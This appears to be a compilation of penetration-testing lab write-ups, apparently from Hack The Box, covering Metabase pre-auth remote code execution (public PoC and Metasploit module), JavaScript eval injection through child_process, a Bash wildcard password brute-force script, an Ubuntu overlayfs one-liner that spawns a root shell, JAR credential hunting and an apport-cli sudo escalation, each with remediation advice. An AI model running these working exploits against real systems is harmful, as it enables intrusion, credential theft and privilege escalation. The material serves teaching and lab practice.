Metabase is an open-source business intelligence (BI) and analytics tool that enables organizations to create and share dashboards and reports based on their data. It provides a user-friendly interface for exploring and visualizing data without requiring extensive technical knowledge or coding skills.
Metabase could allow a remote attacker to execute arbitrary commands on the system, caused by an unspecified flaw. By sending a specially crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system.
Affected Products
Metabase Metabase 0.45.4
Metabase Metabase 0.44.7
Metabase Metabase 0.43.7
Metabase Metabase 1.43.7
Metabase Metabase 0.46.6
Metabase Metabase 1.44.7
Metabase Metabase 1.45.4
Identification
1. Navigating to /api/session/properties we can find the platform version
http://data.analytical.htb/api/session/properties
2. You can also use curl & jq to filter the output from CLI
curl -X GET http://data.analytical.htb/api/session/properties | jq “.version”
Exploitation #1 – Script
1. Having confirmed the vulnerable version, we can proceed to get the setup-token from /api/session/properties
http://data.analytical.htb/api/session/properties
2. We can proceed to use the exploit (https://github.com/m3m0o/metabase-pre-auth-rce-poc/tree/main) , this required the URL of the Metabase platform, the setup-token and a command
9. Now you should check your listener, and the connection should be received
whoami
Exploitation #2 – Metasploit
1. We can also use metasploit to exploit this vulnerability (metabase_setup_token_rce)
use exploit/linux/http/metabase_setup_token_rce
show options
2. Fill the required information
set RPORT 80
set RHOSTS data.analytical.htb
set LHOST 10.10.14.166
3. Run the exploit
exploit
Remedy
Metabase must upgrade to fixed versions (0.46.6.1, 1.46.6.1, or later)
Patching: Regularly update Metabase to the latest version to apply security patches.
Security Best Practices: Follow security best practices for deployment, including the use of firewalls, intrusion detection systems, and regular security audits.
The eval function in JavaScript is a powerful but potentially dangerous feature. Its primary purpose is to execute arbitrary JavaScript code represented as a string.
There are four standard ways to evaluate strings in JavaScript:
eval(“code”)
new Function(“code”)
setTimeout(“code”, timeout)
setInterval(“code”, interval)
Example
1. This is a calculator application that prints the mathematical results on screen
2. Since, I had access to the source code I found this piece of code that demonstrated how the eval() function is in use
// Exporting an object with a method named 'calculate'
module.exports = {
calculate(formula) { // Try block to handle potential errors during execution
try {
// Using eval to execute a dynamically created function
// The function is created using a template literal, incorporating the 'formula' parameter
// The closing parentheses () immediately follows the function body, invoking the function. This pattern is known as an Immediately Invoked Function Expression (IIFE).
return eval(`(function() { return ${ formula } ;}())`);
// Catch block to handle potential errors, specifically SyntaxError
} catch (e) {
// Checking if the caught error is an instance of SyntaxError
if (e instanceof SyntaxError) {
// Returning an error message if a SyntaxError occurs
return 'Something went wrong!';
}
}
}
}
Exploitation
1. First we need to understand how the application works
2. We try to make it crash
3. We can try to use some JavaScript functions and see if they get executed since this script doesn’t have sanitization we don’t need to worry about
process.platform
process.cwd()
4. Now we know we can execute commands we can try a more sophisticated command
This part of the code imports the child_process module in Node.js. The child_process module provides functionality to spawn child processes, allowing you to execute external commands.
.execSync(‘ls -l’):
The execSync function is a synchronous method in the child_process module. It is used to execute shell commands synchronously, meaning the code will block until the command completes. In this case, it runs the ls -l command, which lists the contents of the current directory in long format.
.toString():
The result of execSync is a Buffer object containing the output of the command. The .toString() method is then used to convert the Buffer object into a string. This is necessary if you want to work with the command output as a string in your Node.js code.
Recommendations
Avoid eval Completely:
The safest approach is to avoid using eval altogether unless absolutely necessary. Most use cases for eval can be replaced with safer alternatives.
Use JSON.parse or Other Specific Functions:
If you need to parse JSON data, use JSON.parse instead of eval. JSON.parse is safer and only evaluates valid JSON data, reducing the risk of code injection.
Function Constructors:
If dynamic code execution is required, consider using the Function constructor. This is generally safer than eval because it creates a new function scope.
Validate and Sanitize User Inputs:
If you must use dynamically generated code, thoroughly validate and sanitize user inputs before incorporating them into the code. Ensure that the input adheres to expected patterns and does not contain malicious content.
Code Review and Static Analysis:
Regularly review code for potential security vulnerabilities, including the use of eval. Utilize static analysis tools to identify insecure patterns in your codebase.
In Bash scripting, when you are working with variables, it’s important to understand how the shell treats quoted and unquoted variables, especially when it comes to comparisons.
Word splitting is a process where the shell breaks up a string into separate words based on specific delimiters. The default word delimiters are whitespace characters (spaces and tabs), but you can customize them using the IFS (Internal Field Separator) variable.
Word splitting is a feature designed to tokenize input into separate entities, and it is generally useful for normal shell operations. However, when it comes to unquoted variables, word splitting can introduce vulnerabilities, especially when dealing with spaces or other special characters in the variable’s value.
An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards. Yes, “explode” as in splitting a string into an array. Specifically, variable expansions, like $var, and also command substitutions, like $(cmd), undergo word splitting, whereby the string is split on any of the characters in the special $IFS variable, which is whitespace by default. Furthermore, any wildcard characters (*?) in the resulting words are used to expand those words to match files on your filesystem (indirect pathname expansion). This is mostly invisible, because most of the time, the result is a 1-element array, which is indistinguishable from the original string value.
Security Vulnerability:
When dealing with untrusted input or variables that may contain arbitrary data, relying on unquoted variables and word splitting can introduce security vulnerabilities.
An attacker might manipulate input to inject unexpected values, potentially leading to unintended consequences or security breaches
Variable expansion:
Good: “$my_var”
Bad: $my_var
Command substitution:
Good: “$(cmd)”
Bad: $(cmd)
Should I use backticks?
Command substitutions also come in this form:
Correct: “`cmd`”
Bad: `cmd`
Quoted Variables:
When you enclose a variable in double quotes (” “), it preserves the entire value of the variable, including spaces and special characters.
var="hello world"
echo "$var"
Unquoted Variables:
When you don’t quote a variable, the shell performs word splitting and filename expansion (globbing) on its value.
Word splitting breaks the variable’s value into words (typically separated by spaces).
var="hello world"
echo $var
Output:
Token: hello
Token: world
Example
1. In this example I will demonstrate how bash considers “$str1” & $str different
str1="hello world"
str2="hello world"
if [ "$str1" == $str2 ]; then
echo "Strings are equal."
else
echo "Strings are not equal."
fi
2. In this script we compare 2 strings that are identical but within the if conditional statement we compare “$str1” and str2
3. On the other if I use quotes in the 2 variables “$str1” and “$str2”
Exceptions
There are exceptions where quoting is not necessary, but because it never hurts to quote, and the general rule is to be scared when you see an unquoted variable, pursuing the non-obvious exceptions is, for the sake of your readers, questionable. It looks wrong, and the wrong practice is common enough to raise suspicion: Enough scripts are being written with broken handling of filenames that whitespace in filenames is often avoided…
The exceptions only matter in discussions of style – feel welcome to ignore them. For the sake of style neutrality, Shellharden does honor a few exceptions:
variables of invariably numeric content: $?, $$, $!, $# and array length ${#array[@]}
assignments: a=$b
the magical case command: case $var in … esac
the magical context between double-brackets ([[ and ]]) – this is a language of its own.
Scenario
1, In this scenario we have a bash script named (script.sh) that reads a text file that includes a password, and asks user for input, if the word matches the one in the file it will print confirmed!, otherwise it will print incorrect.
#!/bin/bash
# Read the content of the file "secret.txt" and store it in the variable "value1"
value1=$(/usr/bin/cat secret.txt)
# Print a prompt for the user to enter a word
echo "Enter a word!"
read input1
# Compare the content of "secret.txt" with the user input
if [[ $value1 == $input1 ]]; then
echo "Confirmed!"
else
echo "Incorrect"
fi
2. I built a python script (attack.py) to guess the password in the file. This script runs the bash script, tests characters follow by a wildcard (*), If it matches it prints the letter, then continues with the next letter until we receive Confirmed
#!/usr/share/python
import string
import subprocess
# Generate a list of all ASCII letters and digits
all1 = list(string.ascii_letters + string.digits)
# Initialize variables
password = ""
found = False
# Print the list of characters being tested
print(all1)
# Continue the loop until the password is found
while not found:
# Iterate through each character in the list
for char in all1:
# Construct a command to execute a script with a guessed password
command = f"echo '{password}{char}*' | bash script.sh"
# Run the command and capture the output
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# Check if the output contains the word "Confirmed"
if "Confirmed" in output:
# If confirmed, update the password and print it
password += char
print(password)
break
else:
# If the loop completes without finding the correct password, set found to True
found = True
3. Run the script and see the output how and the password deciphered
python attack.py
Note: The password is P4ssWorDVry4n
Recommendations
Ensure that the file containing sensitive information, like passwords, has restrictive permissions.
Whenever possible, avoid storing passwords in plaintext. Consider using secure methods like password hashing.
Instead of reading from a file, you might consider storing sensitive information in environment variables, which can be set at runtime and are less prone to being accidentally logged.
If you need to store sensitive information in a file, consider encrypting the file.
Ubuntu could allow a local authenticated attacker to gain elevated privileges on the system, caused by skipping permission checking for trusted.overlayfs.* xattrs”. By sending a specially crafted request, an attacker could exploit this vulnerability to escalate privileges.
On Ubuntu kernels carrying both c914c0e27eb0 and “UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs”, an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.
Local privilege escalation vulnerability in Ubuntu Kernels overlayfs ovl_copy_up_meta_inode_data skip permission checks when calling ovl_do_setxattr on Ubuntu kernels.
1. Knowing this is a vulnerable version of Ubuntu (6.2.0), we can proceed to run the following command to become root
unshare -rm sh -c “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;” && u/python3 -c ‘import os;import pty;os.setuid(0);pty.spawn(“/bin/bash”)’
2. After running this command you should become root
Breakdown
unshare -rm sh -c: This command creates a new namespace (-m), and then runs a shell (sh) in this new namespace. The -r option makes the process run in a separate user namespace.
“mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;”: This is the command that is executed in the new namespace. It does the following:
mkdir l u w m: Creates four directories – l, u, w, and m.
cp /u*/b*/p*3 l/: Copies files matching the pattern /u*/b*/p*3 to the directory l/.
setcap cap_setuid+eip l/python3: Sets the cap_setuid capability and eip flag on the python3 binary in the l/ directory.
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m: Mounts an overlay filesystem using the directories l, u, and w. The overlay filesystem allows combining multiple directories into one.
touch m/*: Creates empty files in the m/ directory.
&&: This is a logical AND operator, which means the next command will be executed only if the previous one succeeds.
u/python3 -c ‘import os; import pty; os.setuid(0); pty.spawn(“/bin/bash”)’: This command is executed if the previous part is successful. It uses the python3 interpreter located in the directory u/ to execute a Python script. The Python script imports the os and pty modules, sets the user ID to 0 (root), and spawns a new interactive bash shell using pty.spawn(“/bin/bash”).
Remedy
The problem can be corrected by updating your system to the following package versions:
.jar file enumeration from processes in Linux involves identifying and extracting information about Java Archive (JAR) files that are currently running within a system’s processes. This process can be useful for various purposes, such as troubleshooting, security analysis, or understanding the dependencies of a running Java application.
Enumeration
1. Use tools like ps or pgrep to identify running Java processes. You can filter processes based on the Java executable or any related parameters.
ps aux | grep -i java
2. Once you identify the Java processes, extract more detailed information using tools like jcmd or jps (Java Process Status). For instance:
jcmd <PID> help
jcmd <PID> VM.system_properties
Note: files associated with the Java processes. This information can be extracted from the output of the previously used tools.
3. The lsof command can be helpful in listing open files, including JAR files opened by Java processes:
lsof -p <process-id> | grep “.jar”
4. The /proc filesystem in Linux provides a wealth of information about processes. You can navigate to /proc/<process-id>/ and examine files like cmdline, which contains the command-line arguments, and maps, which displays memory maps, potentially revealing loaded JAR files.
ls -l /proc/<process-id>/cwd
cat /proc/<process-id>/cmdline
5. Extract strings from the process memory to identify potential JAR file references:
strings /proc/<process-id>/mem | grep “.jar”
6. Java applications may log information about loaded JAR files. Check the application logs for any relevant details
Exploitation
1. Once you locate the jar file you can transfer it to your computer and examine the code using jd-gui
2. Click open file, locate the .jar, open it
3. Expand the tabs analyze the code and try to find flaws or any confidential data such as usernames & passwords
Note: In this case we found POSTGRESQL database username and password
A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.
This vulnerability only works if assign in sudoers
Identification
1. Verify that apport-cli is allowed to run with sudo privileges
sudo -l
2. Verify that the version is lower than 2.26.0
sudo /usr/bin/apport-cli -v
Exploitation
1. Execute apport-cli with parameter file bug (Select any option)
sudo /usr/bin/apport-cli –file-bug
2. Select any option
3. Press any key
4. Press V (View Report), this will open a less page as root
